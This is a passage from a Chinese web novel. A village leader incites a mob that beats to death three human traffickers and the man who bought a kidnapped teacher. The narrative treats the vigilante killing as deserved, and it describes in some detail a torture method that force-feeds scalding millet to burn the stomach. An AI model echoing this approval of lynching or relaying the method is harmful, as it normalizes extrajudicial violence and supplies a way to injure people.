这话一出,直接就把张茂弄宕机了,整个人发蒙的愣在那儿,眼睛瞪得老大,被陈虎打得两边红肿的脸上,顿时就写满了不知所措! 一众村民们闻言,也更是震惊! 给村子里面找到的老师,不仅被人贩子给抓了,还被张茂那老光棍给买下,好生折磨了这么些日子? 此刻,张茂感受着周围投来的不善目光,不禁瑟瑟发抖。 最重要的是这事情,他张茂还没办法抵赖! 毕竟,这女人是老师这事情,在她求救时可没少说过。 只不过,陈虎巧妙的将这件事情的先后顺序,给转换了下。 陆无双本来应该是先被拐卖,然后才成为在村子里面任教的老师。 眼下的过程,却截然相反! 陈虎没给张茂多说半句话的机会,他双眼露出凶光,死死的盯着张茂,接着怒斥出声道: “这位陆无双陆老师,放弃了在城里面任教的优渥生活,为的就是让村子里面的孩子们,也有一份念书的机会!” “为了让家家户户的孩子,不会因为出生在这山沟沟里面,就低人一等!” 陈虎说话时,止不住的喘着粗气,到了最后,更是上前一脚踹在张茂的脸上,让其一头扎进雪地里面: “父老乡亲们!你们的孩子差一点儿就因为他张茂和那群人贩子的私心,彻底葬送前程!” “他们简直是狼心狗肺、猪狗不如!” 一众村民们的情绪,在陈虎的不断调动之下,俨然已经到了爆发的临界点。 在陈虎继续鼓动之下,那些村民们顿时失控,有人率先站了出来,指着躺在地上的张茂的鼻子,破口大骂道: “狗娘养的!你不知道人家是来村里面任教的老师?你还敢买来当媳妇儿?你这拉完屎都买不起纸擦干净的玩意儿,也敢娶人家好姑娘进门?!” “天杀的张茂张光棍!差点儿咱们村子的孩子都没书念了!” “简直猪狗不如!天天不是到处打秋风,就是做些丧尽天良的事儿,老天爷咋个不睁开眼,一个响雷劈死你这畜生!” …… 人一旦聚集成为群体,就会很容易被鼓动、盲从,间接降智。 被点燃的村民们,一个个义愤填膺,轮番叫骂着。 也不知是谁开始率先动手,紧接着,一众村民们便一拥而上,都开始动手! 人群推搡之间,你一拳、我一脚,很快就给那张茂打了个半死。 陈虎静静的看着这一幕,随后压低了声音,冲着一旁的陆无双,淡然开口道: “如何?我的承诺可算是兑现了?” 陆无双眼角滑落泪珠,强忍着情绪,点了点头道:“答应你的事情,我会尽全力!” 陈虎望向骚动围拢的人群,点了点头,这才高声叫停一众村民们道: “乡亲们,停下!都停下!” 沸腾的人群随后在陈虎的呼声中,停下了对张茂的殴打。 陈虎赶忙安抚众人道: “大家放心!有人证、物证在,还有大家作证,我会将这畜生送到派出所,让律法制裁他的!” 众人闻言,连连叫好,但仍旧有村民们叫嚣着要打死张茂这厮。 被打了个半死的张茂,刚喘了口气,眼见又要挨打,赶忙开口道: “等等!我知道怎么找到那群人贩子!” 张茂这话顿时就让骚动的人群,安静下来。 张茂见有效,生怕被活活打死的他,急忙接着出声道: “大家伙……饶命、饶命啊!我知道怎么找到那群人贩子,给我个机会……” 张茂带着哭腔,结巴出声。 一众村民们闻言,随后也不知是谁在人群之中,率先喊了一嘴道: “大家伙,咱们得给陆老师报仇!” 这话一出,所有的村民们都连声附和! 开玩笑,往后谁家有孩子保不齐都得拜托这位陆老师教导呢! 眼下,谁不跟着出声,到时候,他们的孩子念书不上进,谁还有脸去让陆老师去帮忙费力用心教导呢? 陈虎见此情形,也是有些诧异,他可没有想到事情会演变成这样。 他本以为这件事情,等到他报警之后,就该是警察的活儿了。 哪能料到村民们竟然会闹这一出? 当然,陈虎对此自然也不能有所异议。 随即,陈虎走上前,冷眼看向地上如同死狗一般瘫着的张茂,冷哼一声道:“赶紧如实交代!这也算是你戴罪立功了!” 第一卷 第103章 好家伙,持械硬闯警察局?! 听了陈虎的话,张茂抽搐着身子,赶忙就用哭腔,一字一句说出了他所知道的一切。 根据张茂所述,这群人贩子主要是活跃在镇子周边十里八乡,拐来的除了女人,还有孩子。 他们多是从南方那边拐来的。 这群人在镇子上租了个铺面,卖些家具作掩护。 一行共计三人,两男一女。 这县里头几十个乡镇,他们都做生意! 得到消息之后,陈虎为了避免张茂这货被村民们打死,只得安排几人看着,然后又找了人,去镇上报警。 紧接着,陈虎便来到陆无双旁边,低声轻笑道: “意外之喜!眼下,你的仇可以一并报了,打算不打算跟过去看看?” 陆无双闻言,眼中闪过一抹怨愤,接着十分用力的点了点头。 村民们知道陆无双要抓人,都主动愿意出力,他们随后直接和陈虎安排报警的人,直接顺道一路去镇上。 上河村八十几户人家,此刻统共来了上百号人。 村民们一个个地都找了根顺手的玩意儿,或是家里头锄头,或是柴刀、镰刀,有的就随手捡了根烧火棍子。 上百号人都拿着家伙什,浩浩荡荡的便朝着镇上涌去。 村西边的孙家老头,还给自家的黄牛牵了出来,用牛车载着陈虎以及那被打了个半死的张茂。 走了一段时间路,这上百号人就到了镇上。 他们刚一进镇,便引发了一阵骚动。 毕竟,上百号人拿着武器,这要是放到以前,他们保不齐都可以鱼腹藏书,喊喊口号,打下一个县衙了。 镇上人群尽管骚乱,但也有人壮着胆子,上前来询问。 但陈虎走在最前头,却懒得搭理镇上问话的人。 反倒是跟在陈虎边上的马老三,却是热情回应道: “没啥事儿,就是抓人贩子!” 镇上的居民们一听马老三这话,顿时也都来了兴趣。 毕竟,人贩子这玩意儿到了什么地方,可都是人人喊打的存在! 很快,一群人在张茂的指引下,就来到了那家红木家具铺子。 按照张茂交代的,这铺子就是人贩子用来打幌子的掩护! 这处店铺,倒是不大。 五六米宽的铺面,纵深不超过十米。 店里头摆着一些个品相一般的红木桌椅,门口摆着一处柜台。 柜台前,一个看上去四十来岁的女人,正坐在躺椅上打瞌睡。 村民们在陈虎的带领下,一拥而入,中年女人被瞬间吵醒! 张茂浑身是伤,红着眼,直接抬手指向了女人,当即怒喝道:“就是她!她叫余华英,就是她收的钱!” 余华英被骚动声吵醒,看着店里头来了一群村民们,各个手里头都拿着家伙,忍不住浑身一颤,但很快,她又镇定下来,故作轻松的笑道: “哟!这大年初一的,什么风把大伙儿都给吹来,照顾生意了?” 可她的话音刚落下,站在陈虎身旁的陆无双,顿时也认出了这女人。 当即,陆无双咬牙切齿的开口道:“没错!就是她!这店铺有阁楼,那两个男人住在阁楼上!里头还有道暗门,用来关被拐走的人!” 随着陆无双开口,村民们纷纷动手! 没等陈虎吩咐,便有好几个汉子一拥而上,将这余华英从柜台里头拖了出来,接着便是对余华英,一阵拳打脚踢。 而后,一群村民们都纷纷爬上了阁楼,又拖拽着两个中年男人,从阁楼上面扔了下来。 那两个中年男人还没有搞清楚到底咋回事,就看见无数的拳脚,落到了他们身上。 在骚动中,更有村民打开了通往地下室的暗门。 很快,里头便救出了一个看着大概七、八岁的男童! 这时候,已然不止是上河村的村民们愤怒了,就连镇上凑热闹的居民们都是对这两男一女的三个人贩子一阵唾沫,有的居民更是随着人群一起动手。 三个人贩子直接被拖到了门外街头,在饱受无数拳打脚踢之后,都是半死不活的倒在地上。 陈虎见状,也没阻止,而是安排马老三叫上几个人,一起把张茂先一步送到了警察局。 镇上警察局倒是略显金贵,位于镇子中央的一处宅院。 这处宅院,算得上是镇上第一大宅! 据说以前是一个地主家的房子,但改开后严打反动,这宅子原主也就是那时候的地主,早就被拉到街头枪毙! 马老三带着一票人,急匆匆的闯进去时,警察局里头的民警们正在吃着午饭。 眼见十几号人手里面都拿着家伙什闯进来,还有张茂这厮满身挂彩,鼻青脸肿的被几个人拖着。 饶是搁这儿干了十几年的所长,都被这阵仗整不会了! 好家伙,持械硬闯警察局?! 感情是打算造反啊?! 两个年纪偏小的探员,早已被吓得不知所措,倒是这位所长虽然也有些害怕,但却赶忙做出了应对的反应。 只见,所长迅速从兜里面掏出那柄92制式,这玩意儿整个镇上派出所,也就他这局长配备了一把! 并且,里头连子弹都没有装。 平日里,所长把这把手枪挂在腰上,也就图个面子而已。 眼下,将这把手枪拔出来,所长更是手一抖没拿稳,直接就掉到了地上。 马老三看着眼前尴尬的一幕,咽了口唾沫,连忙上前,帮所长给这把手枪捡起。 接着,马老三又讪笑着将这把手枪,递到了所长的手中。 所长见状,这才确认马老三这一行人并不是坏人,不由得打了个哈哈,道: “你、你们这是弄啥嘞?” 等到所长了解了事情经过,带着人赶到现场时,那三个人贩子早已是奄奄一息。 三个人贩子被带回警察局之后,其中的一男一女前后半刻钟功夫,就瞳孔扩散,挣扎着暴毙在了路上。 剩下那个中年男人也半死不活,送往医院后,愣是没撑过当天晚上。 原来,就在马老三带着张茂过去报案的功夫,陈虎压根就拦不住群众对人贩子的痛恨! 大家伙先是一堆拳打脚踢。 哪怕其中一个人贩子是女人,也全然不顾,直接一视同仁,都给打了个半死。 本来拳打脚踢,也没闹出人命。 但也不知道是哪个看热闹的居民,竟是跑回家把自家午饭——一锅黏糊糊刚出锅的小黄米,给端了过来! 这玩意儿算是东北特产,一锅小黄米黏糊的,煮出来粘口还贼香。 但这东西放在北方,却还是一种独特的刑具! 刚出锅的小黄米,温度高达八、九十摄氏度,由于有着粘稠的特性,不仅粘糊糊成了一团,更是有效地保存了其内部的温度。 这小黄米被端到了人贩子的面前后,一个住在附近的老者随后走了出来,用筷子裹起一团,放进凉水中过一遍,就塞进了三个人贩子的嘴里。 这时候,每个人贩子的身边,再有两个村民掰着这个人贩子的嘴,不让其咬碎! 如此一来,过了凉水的饭团的外部温度,接近零摄氏度,但其内部却仍旧有着七、八十摄氏度高温。 而这饭团顺着食道下滑,不出半刻钟的功夫,就能直接将人的胃给烧坏! 这两男一女的三个人贩子,还没有吃上牢饭,也就这样没了大半条命了。 他们能在被送到警察局前不死,就已经算他们命大了! 第一卷 第104章 打鸡粪的主意 屋外冰天雪地,却又艳阳高挂。 阳光在无数冰晶雪花上,反射出璀璨夺目的光点,像是银河换上了白色幕布。 屋内伴随着炊烟从烟囱之中,升腾而出,汤锅咕噜噜冒泡,肉香味四溢间,餐桌前的陈虎已然早早洗漱完,坐着等待。 陈瑶和陈真两个小家伙,也都早早的起床了。 灶房里面,杨蓉正忙碌着炖煮肉汤,但与以往不同,今日灶房忙碌的身影,还多了一个年轻女人,正帮衬着打下手。 这人正是前日陈虎救下的陆无双! 当然,或许眼下该称呼她为“陆老师”了。 在陈虎超出预期的完成诺言之后,杨蓉便收拾出一间客房,给陆无双住下。 在陈虎为陆无双找到新的住处,学校还没有建成之前,陆无双都会与陈虎一家同住。 不多时,肉羹与白粥上桌,陆无双神色一如既往地冷漠的坐下身,低头自顾自的吃饭。 陈虎一边盛满一碗粥,一边轻笑出声道:“陆老师,这是不合胃口?还是住得不舒服?怎么大清早的就板着脸啊?” 陈虎的阴阳怪气还不等陆无双回应,杨蓉便先狠狠剜了他一眼,然后十分不满道:“小虎!好生对陆老师说话,别有的没的瞎扯!” 陈虎闻言笑了笑,微微点头。 陆无双则赶忙摆手道:“没事的,杨姨!陈虎这么说也没有恶意,不用太过在意我情绪,我没事的。” 杨蓉心疼的看了一眼陆无双,然后苦笑道:“吃饭!吃饭!咱们不提这些!” 杨蓉自是心疼这位二十来岁的姑娘,这么白净的脸,生得端庄,自是打小被家里人宠到心尖上的,又读书认字,当了老师。 结果,最后却被拐到深山里面,遭受了这般非人的折磨! 杨蓉这两日为陆无双伤口上药,又忙前忙后带着陆无双去医院检查,是亲眼见到了陆无双浑身上下的那些恐怖的伤痕的! 两条藕白的手臂上,满是皮开肉绽的伤口。 背上、腿上,多的是大片大片的淤青! 再加上张茂那老货光棍祸害这么久,以及陆无双在此之前还被转手过,很显然是受尽了折磨! 并且,现在全村人都知道陆无双被张茂拴在屋里头一段时日的事情。 对于女人而言最重要的名节,在陆无双身上,可算是丢了个干净! 所以,杨蓉每每见到陆无双神色落寞时,都忍不住一阵阵心疼这女娃。 陈虎见母亲这般,也是忍不住心中一阵感慨。 接着,陈虎望向陆无双,放下筷子,悠悠出声道: “陆老师,我曾看过一本书上,写过这么一段话。” “你永远也不可能对另一个人感同身受,哪怕你穿上他的鞋子,学着他在屋里面,走来走去。” “同样的,我没能受过你遭的那些罪,所以我不该劝你放下,或是宽宽心,但我想说。” 说话间,陈虎整个人慵懒的靠上木椅,抬起一只手,展开手掌,眼神微微眯起道: “没办法,当时我给过你选择,你在选择时,大可以选择解脱一了百了,然后不再去在乎身后事。” “但你既然选择要我帮你报仇,那也就是说,你现在欠我很多,需要你往后十年如一日的在这个山村任教,教导出一批批的学生,才能够偿还。” “我可不希望以后那些活泼开朗的孩子们,例如我的弟弟妹妹,需要整天因为老师阴郁的情绪,而被感染。” “所以,你明白吗?” 陈虎的语气,很是平静,神色却不算正经。 杨蓉一听陈虎这话,自然不乐意,皱着眉头,正欲出声指责陈虎,却被陆无双抢先一步打断道: “我明白!你放心,无论如何,我都会做好我自己该做的!” “另外,我还是要多说一声,谢谢你!” 陆无双深吸一口气,说出这番话时,她的脸色终于好看了一些。 并且,她的眼神之中,也带了些许光亮。 陈虎随后朝着杨蓉,使了个眼色,不让自家娘再插话。 杨蓉见状,也没再吭声,只是再度狠狠的剜了一眼陈虎。 陈虎这般说,自然有着他自己的思量。 毕竟,一个失去亲人,遭遇了这般重大打击的女人,应该早就在很久之前,便失去了生的希望。 如果没有陈虎给出的选择,以及赋予陆无双的责任和亏欠,兴许陆无双早就选择了为她悲惨的人生,进行无声的落幕了。 而陆无双现在之所以还坐在这里,等着学校建成后任教,完全是因为陈虎超出预期的做到了一开始的承诺! 张茂在被送到警局之后,就直接移送到县城拘留所。 依照张茂的罪行判定,故意伤害、非法囚禁以及买卖人口、强奸等等,张茂量刑至少十年起步! 而那三个人贩子的下场,量刑的话,则会更惨! 若非群情激愤的村民们将其中一男一女两个人贩子生生打死,剩下一个男的人贩子最后也因折磨致死,那他们的量刑最少也是十五年起步。 依照如今刑法的严苛程度,他们多半都是要枪毙的份儿了! 陆无双现在自然是感激陈虎的,因为陈虎不仅仅是救下了她,更实打实的为她以牙还牙,报了仇。 早饭过后,陈虎寻上了马老三,一道去了养殖场。 原本,陈虎一家住的老屋,如今打通了几面墙,重新围上了院子篱笆之后,彻底成了养殖家禽的基地。 为了更适合蓄养这些家禽,陈虎在改建时,甚至于把院子的范围,多扩建了一大圈。 如今,除了院门,其余的房门都被尽数拆除,仅仅剩下了一间偏房,用于堆放饲料。 来到这处临时改建,十分简陋的养殖基地,陈虎与马老三先是喂食,然后打水放置在里屋后,这才来到院子里面,找来椅子抽身坐下。 马老三干活儿倒是十分麻利,陈虎抽身坐下之后,他却坐不住了,旋即又找来铁铲,将屋内屋外的鸡粪,铲作一处。 陈虎望着那一大堆的鸡粪,顿时就忍不住笑道:“老三,这玩意儿用来给庄稼地施肥,你说晒干了明码标价,有没有人会来买?” 一听到陈虎做生意的心思,都已经到了连鸡粪都不打算放过的程度,马老三顿时就有些忍俊不禁道: “虎哥,你兴许不太懂庄稼地这回事儿。” “莫说这些鸡粪不算多,就是足够十里八乡用的,那人家一年的庄稼收成,也仅仅够一家人自家吃的和来年播种的,没人会舍得花钱来买这玩意儿的。” “况且,就现在这里每天产的鸡粪,哪怕是你家那十几亩地,也都够使得完嘞!” 第一卷 第105章 你给我的感觉,像是一个合适的恋爱对象! 听了马老三的话后,陈虎也是忍不住干笑了两声,掩饰了他的尴尬。 这时候,马老三忙完了也正打算歇息,然后来到陈虎的旁边坐下。 望着满院子的小鸡,马老三当即便忍不住忧心。 “虎哥,按照你说的,不给院子围栏加固,也不安排人守夜,这些小鸡要是被偷走了,怕是会损失不小啊!” 陈虎对于马老三的这番话,倒是十分不感冒,他轻笑着摇了摇头,然后漫不经心的回道: “老三,你这话已经挺多人跟我说过了!我妈也和我念叨过不少次了,但实际上没这个必要。你也不看看在村子里面,大家都是邻里亲朋,谁家有几只家禽能够数得明明白白的?谁家要是突然多出来一只、两只来,那也是说不清楚的。” “况且,如今家家户户都指着供销社能给他们多一份收入。” “并且,大家养殖家禽的,还指着我的渠道售卖,没人会把主意打到我这地方来的。” 马老三听了陈虎的话,也是一阵的赞同点头,但很快又忍不住皱眉出声道: “但虎哥,你想没想过要是隔壁村子,或者是外来人进村,他们手脚不干净,盯上了咱们的家禽咋整?” 陈虎闻言,深吸了一口气,但仍旧摇头道: “放心!鸡鸭鹅可不是地里头的庄稼,他们敢半夜进来,声音一大,保准会惊动村里的人。外人进村偷东西,怕是得有不要命的胆子才行!” 马老三在陈虎的解释之下,随后彻底打消了疑虑。 想到当日陈虎召集着村民们去抓人贩子,村民们一个个都跟打了鸡血似的,给那三个人贩子打得头破血流,马老三就忍不住打了个寒战。 的确! 正如陈虎所说,若是有外人敢进村偷鸡摸狗,只怕他们的下场,可不会比那三个人贩子好到哪里去! 陈虎后续打算把养殖场的日常管理维护工作,彻彻底底的交给马老三打理。 若是马老三要和他进山打猎,或者是他自己有其它的事情要办,那便是马老三媳妇儿叫上陈虎他娘,一起帮衬着喂养。 对于养殖,陈虎自然经验不足,但出于后世的认知,也让他有着许多超前的办法。 午后,陈虎又召集了三个村里头汉子来到养殖场。 他们加上陈虎和马老三,一共五个人工,差不多可以完成陈虎的计划。 陈虎先是指挥着四人,用土坯打造了一个水槽。 这个水槽不仅足够大,并且还预留了一个放水的口子。 那口子用木塞塞住,这样的话,方便日常换水。 对于换水这件事情,其他人都不太理解,毕竟他们自家养鸡鸭鹅,对于这些个牲畜家禽的养殖,他们从来不会太关心家禽的吃喝的。 对此,陈虎倒是十分耐心解释道: “知道病从口入吗?养殖这件事情,千万不能马虎!” “往后,老三你要保证每天换水!” “这么多的家禽一并养殖,万一害个病,那可能就要大批大批的跟着染病!所以,各种防护一定要做好。” 马老三与另外三个做工的汉子,听到陈虎的这番言论,不由得也是心头一惊。 紧接着,陈虎又单独圈出一个房间隔开,并冲着马老三交代道: “还有老三,你每天都多巡视几遍,只要是精神萎靡,不喜动的家禽,那就都要多关照下。” “一旦发现异常,那就把它隔开放到这屋子里面,单独喂养!” “这样的话,也能够有效地防范家禽大范围的感染上疾病。” 马老三闻言,忙点头记下,倒是来帮着改建的三个村民,却对此有些嗤之以鼻。 “村长,我看没有必要搞这么麻烦!这些个小鸡也没见谁家喂了会病死,倒是被黄皮子叼走的不少。” “是啊!这些小鸡没必要这么金贵!” “花钱给小鸡建这么好的窝,也怪可惜的!” …… 对于那三个村民的议论,陈虎并没有过多的解释。 毕竟,与山沟沟里的村民去说养殖密度过大,卫生不合格,可能导致的传染疾病防治,无异于对牛弹琴。 之后,陈虎又在分栏上下了一番功夫。 他用篱笆隔出了鸡、鸭、鹅的养殖场所,现在要未雨绸缪,以后肯定要养其它家禽呢,现在就做好准备,那到时候才能够保证混养家禽的话,不会出现意外的情况。 改建的事情,陈虎带人忙活了一整天。 等到将该交代的要点,全部都给马老三交代了一遍后,陈虎后续才放心地将养殖场的问题撇开,去做其它事情。 等到次日,陈虎急匆匆的一大早就上镇上。 临出门前,陈虎还特地带上了两条鱼干。 这些鱼都是陈虎早先的渔获,带回家后,杨蓉给熏制完成的。 到了镇上后,陈虎又一次敲响了孙老家的宅院大门。 开门的人,照旧是孙若薇。 今天的天气不错,阳光还算明媚,也没见吹冷风。 但由于刚开年,北方雪化得比较慢,并且早春的气候因为冰雪融化,比起大雪倾盆时,还会冷冽不少。 所以,今天的孙若薇穿了一件大红棉衣,下半身则套着一条黑色冬裙,看上去时尚又保暖,还不算笨重。 加之孙若薇那张俏丽的面孔与独特气质,她整个人看着十分养眼。 见陈虎拎着两条肥硕的熏鱼登门,孙若薇显得格外惊喜道: “我正准备去找你呢!没成想你倒是先过来了!” “找我?”陈虎不明所以地望着孙若薇,总觉得这姑娘今儿看向他的那抹笑容,有些不对劲。 孙若薇当即点了点头,她也不让陈虎进门,反倒是先拉扯着陈虎,走到院子外的墙角,接着,她深吸了一口气,正色道: “你之前对我说的那番话,我想了很久。” 陈虎闻言挑眉,然后略带疑惑的出声问道:“然后呢?” 看着孙若薇略微紧张又带着认真的神色,陈虎满心不解,总觉得这姑娘今儿像是吃错了药。 这姑娘看着他的那眼神,明显格外不对劲! 孙若薇闻言,酝酿片刻后,这才接着开口道: “正如你所说的,我拥有着很多的资源,除了我自身的学识之外,我还有着家族地位所带来的人脉。” “我有我自己选择人生的机会,尽管爷爷说了,他们给出的既定规划,是用经验与两代人的努力所铺设的,但我仍旧想冒险一次,用我全部的力气,去赌一个不确定的未来!” 陈虎仔细分析着孙若薇的这番话,短暂思索后,轻笑道: “那或许我该恭喜你,恭喜你找到了自己想走的路!” “当然,我作为一个不算太熟的朋友,也许帮不了你什么,但我还是想说,无论你如何选择,只要你坚定的走下去,那我都祝愿你能够拥有你自己想要的完美人生!” 陈虎不痛不痒的说完了客套话,当即便微笑着,打算跟着孙若薇进门。 毕竟,陈虎今天过来是有正事来找孙老的,他并没有多余的心思,去与孙若薇这位大小姐聊自由和理想。 谁料,孙若薇听完陈虎灌的鸡汤之后,脸上当即就溢出了笑容,然后她长舒了一口气,接着出声道: “陈虎,你先别急着恭喜我。实际上,我想恭喜你。” 陈虎闻言,面露诧异道:“恭喜我?” 孙若薇十分认真的点头,接着说道: “对!恭喜你!” “我打算选择你作为我的跳板,以你的能力,再加上我整合的资源,我想你也许能够帮助我摆脱我家族的束缚。” “并且,你给我的感觉,像是一个合适的恋爱对象!” …… 第一卷 第106章 初吻 听了孙若薇的这番话后,陈虎只觉得脑袋像是被人狠狠的砸了一榔头,好一阵子,都没有缓过来。 见陈虎沉默不语,孙若薇藏在袖口中的手,不由得紧紧攥起。 她同样不再出声,静静地等待着陈虎的回应。 陈虎愣了片刻,回过神来,他才有些不可思议道:“你说什么?你将整合的资源交给我?还想以恋爱对象的身份与我在一起?我的大小姐,是你疯了还是我疯了啊?” 见陈虎这般反应,孙若薇随即深吸了一口气,缓和了情绪之后,才接着开口道: “你没疯!我也没疯!” “那你这是做什么?我不能理解你刚才说的这些话!这两件事情,你无论说哪一条,我都能够理解,但将你摆脱家族的束缚与和我谈恋爱挂钩,这就说不通了!” 陈虎紧紧皱眉,属实是孙若薇的表现和她的这番言语,都太过于让人诧异了。 谁料,孙若薇下一刻竟是直接红了眼眶,接着苦笑道: “那天你告诉我那番话后,爷爷告诉我说,我可以有自己的选择,哪怕他不那么赞成。但当我父母知道之后,他们不仅没有尊重我的想法,甚至于没有为此与我争辩,抑或是大发雷霆。” 孙若薇正说着,却是忍不住颤抖着深吸了一口气,接着勉强挤出一个笑容,继续说道: “你知道吗?他们无论是与我争吵,抑或是辩驳,为此大发雷霆,我都能够接受。” “但……他们没有!” 陈虎闻言,微微颔首垂眸道:“他们无视了你的选择!” 孙若薇跟着点了点头,接着又苦笑着摇头道: “不仅如此,他们还为我安排了一门亲事,并且让我立马返回京都,在我去留学之前,要举办订婚仪式。他们为我安排的这位未婚夫,在那通电话之前,我甚至于都不知道他的名字。” 听到孙若薇这话,陈虎恍然,接着深深的看了一眼孙若薇后,不由得皱眉道: “我很同情你的遭遇,但若是因为这个原因,让你说出了刚才的那番话,那我觉得现在……” 孙若薇没让陈虎把话说完,便直接打断陈虎道: “不!我之所以这般说,很大原因就是我认为你还不错!” “准确的来说,是我对你很有好感。” “如果现在我需要一个对象,或者是未婚夫,那我所认识的人中,你最合适,也最让我钟意。” 说完这番话,孙若薇的脸色,已然一片羞红到了耳后根。 陈虎却一言不发,静静的看着孙若薇。 他很清楚在这个保守的年代,一个女孩说出这番话,是需要多大的勇气的。 即便是孙若薇自幼接受高等教育,更是出国留学过,接受过先进、开放的思想熏陶。 但是让她一个十八、九岁的女孩,当着一个心仪男人的面前,说出这番话,同样是需要有极大的勇气的! 但陈虎却并未被这股子恋爱进行时的氛围,给冲昏头脑,反倒显得极为平静,而后缓缓出声道:“那相对的,我能够得到什么?” 陈虎的发问,让得孙若薇愣神片刻,接着十分诧异的问道:“你说什么?” 有着优渥的家世,更有着姣好的容颜,孙若薇自打步入青春期,再到成年后,一直以来,她明里暗里的追求者,从来都不少! 她从来没有想过她表白的某个男人后,那男人竟然会更加在意利益得失,而不是因为她的表白而满足,并且欣然接受。 陈虎微微皱眉道:“我承认你很漂亮,也很合我的胃口,与你交往,我很乐意。” “但你刚才的那番话中,所提出的交往,掺杂了利益。” “这也就是说,你我如果在一起,这就不会是一场简单的恋情,既然如此,那我们之间的利益得失,就需要完全说明白。” 陈虎耐心解释完后,便静静地等待着孙若薇的回应。 陈虎这话,十分直白! 直白到也许绝大多数的女孩子,在听到恋情的这份不纯粹后,都难以接受。 但在陈虎看来,孙若薇如果不能接受,那她显然并没有做好反抗家族意志的准备。 这也就代表着陈虎刚才与孙若薇交谈的时间,全部都属于被浪费了。 孙若薇随后深吸了一口气,接着,她很认真的看着陈虎,开口道: “我所整合的资源,不说能够让你平步青云,但也相差不多。” “这一点,即便是你再优秀,我也有信心说出来。” “对你而言,这份资源就是你选择后的最大的报酬!” 对于孙若薇这话,陈虎微微点头,十分认同。 随后,陈虎的目光上下扫动,像是打量商品一般,肆意的审视着孙若薇,而后突然说道:“转个圈看看!” “你!” 孙若薇见状,一瞬间便怒意上头,眉头紧锁。 什么时候有人敢这般不礼貌的审视她,犹如打量物品一样? 但很快,她便平息了怒意。 理智占据高地,压下了愤怒之后,孙若薇很快就意识到了一个问题。 关于这件事情,从一开始,就是她在请求陈虎的帮助,而并非两相情愿的选择。 况且,她已经明着表白的来了。 只要陈虎愿意,接下来,陈虎点点头同意,那她就是陈虎的恋人了。 如此一来,莫说她现在给陈虎瞅瞅,就是她脱光了给陈虎看见,那又怎样? 当即,孙若薇便十分坦然的提起裙摆,在这茫茫雪景之中,悄然转身,转了一圈。 停下后的孙若薇,也彻底平复了情绪,接着轻声笑道:“如何?可还满意?” 陈虎一只手拎着熏鱼,一手摩挲着下巴,点了点头道:“很好!” 孙若薇闻言,当即轻哼一声道:“我孙若薇虽然不敢说我自己有多漂亮,但自从我上中学开始,我身边的追求者就从没断过,这点儿自信,我还是有的。” 陈虎听到孙若薇这话后,却是突然挑眉,摇了摇头道:“我刚才说得不错,并不是在评价你的姿色,而是赞叹你对抗你的原生命运的决心。” “如果刚才你生气的给我一巴掌,觉得我是在物化你,审视你,抑或是不尊重你,那我会当先前你我所说的那些话,全部都是笑话揭过的。” “不过,现在不一样了,很高兴我们能够合作。” 说罢,陈虎就伸出了一只手,轻笑道:“重新认识一下,我现在如你所愿,是你的现任男友,陈虎!” 孙若薇听了陈虎的话后,直愣愣的看着陈虎,久久无言。 就在陈虎略带疑惑地打算收起他那只悬在半空,并没得到回应的手掌时,孙若薇却是突然凑上前来,踮起脚尖,直接献吻。 这情况让得陈虎猝不及防,直到孙若薇退后,一步分开,陈虎还痴痴的愣在原地。 看到陈虎的这副样子,孙若薇当即十分俏皮的摆了摆手,尽管她的脸色涨红,但她却仍旧逞强,故意嘲笑陈虎道: “怎么?你的初吻对吗?我认为既然我们已经是恋人关系了,那我们就不应该是握手!你觉得呢?” 眼见着陈虎一脸诧异的模样,即便是她自己已经害羞到不行了,但孙若薇却仍旧强撑着做出一副她已经赢下一城的模样! 第一卷 第107章 十天内建学校 从镇上回来时,陈虎已然搞定了创办学校的许可与资质。 并且,他也就这么稀里糊涂的多了一个女友。 爱情事业双丰收,使得陈虎回家的步伐,也不由得轻快了许多。 回到家时,已然是午后时分,陈虎推开家门后,发现杨蓉并不在家。 闲来无事,趁着天气好,这位忙碌惯了的妇人,此时已经去了养殖场查看了。 客厅内,陆无双正与陈瑶和陈真两个小家伙坐在桌前。 此时,陆无双的手里捧着一本千字文,正给两个小家伙细细讲读着上面的内容。 两个小家伙听得很是认真,连陈虎进屋后,他们也都没有注意到。 见此情景,陈虎缓步走到他们近前,然后面露笑意的望着这两小一大。 陈虎本想在一旁静静的看看,不多打扰,但他的动作,却是惊动了两个小家伙。 小囡囡见是陈虎回来,跳下凳子,便直接扑进了陈虎的怀里,奶声奶气的喊道:“哥哥!你回来啦!” 小陈真则嘿嘿一笑道:“哥,你回来得好早啊!” 陆无双见两个小家伙一时无心书本,便冲着陈虎礼貌的笑了笑,然后也不打招呼,自顾自的去到一旁,挑了条椅子坐下,好像生怕打搅了这兄妹三人的温馨时刻一样。 陈虎见状,先是从怀里面取出给两个小家伙准备的糖果。 两个小家伙当即兴冲冲的接下,陈虎笑了笑,然后又打发了两个小家伙出门转转。 毕竟,他们学累了,现在也好出去透透气。 两个小家伙闻言,也是欣喜不已,捧着糖果便蹦蹦跳跳的出了门。 等到两个小家伙去了院里玩耍,陈虎这才来到陆无双的面前,在陆无双询问的目光之中,陈虎随后从怀里面取出了一只粉色钢笔,顺手就递了过去。 陆无双有些诧异地看了看陈虎手中的钢笔,然后下意识的接过,拿到手中,端详片刻,眼中继而流露出异彩道:“这是一支好笔!花了不少钱吧?” 陈虎浅笑着点了点头,应道:“还行就成!送你了!我学校的第一位老师,可不能寒碜到没点家伙什!” 陆无双没接话,仔细的打量了一阵这支钢笔,而后随手将其揣进了上衣的口袋。 陈虎也随手拎了条椅子坐下,然后仰头长出了一口气道: “学校的资质搞定了,我这边打算新建,你有啥想法可以一并说了。包括教师宿舍会建在一起,有啥需求都可以提出来,我好安排下去,一并解决!” 依照陈虎的打算,学校规模不需要多大,一处院子加上一间类似祠堂的开阔屋子就成,再跟着在旁边建一间灶房,一处宿舍,如此一来,陆无双也能有个住处。 陈虎家里头固然住得下,不过,陆无双毕竟还是个不曾婚嫁的姑娘,哪怕她被拐卖过,受尽了凌辱,但她常住在这里,属实也不合适。 听到陈虎这般说,陆无双的眼中,不由得闪过了一抹讶异。 紧接着,陆无双又不禁疑惑开口道:“其实你在这片山村里面建立学校,我一直不太明白你图什么?难道是为了坐稳那村长的位置,又或是说多些成绩?” “村里面的孩子,满打满算够适龄上学的也不超过三十个,你把钱砸了进去建设,拿什么回本?” “既然不能挣钱,你是因为觉得教育是最好的出路,还是只为了受村民爱戴?” 陈虎十分慵懒的躺在椅子上,他都不曾多看陆无双一眼,便轻笑着替陆无双解惑道: “所以说你是一位老师,而不是一名商人!” 说话间,陈虎摇了摇头,顿了片刻后,这才接着道: 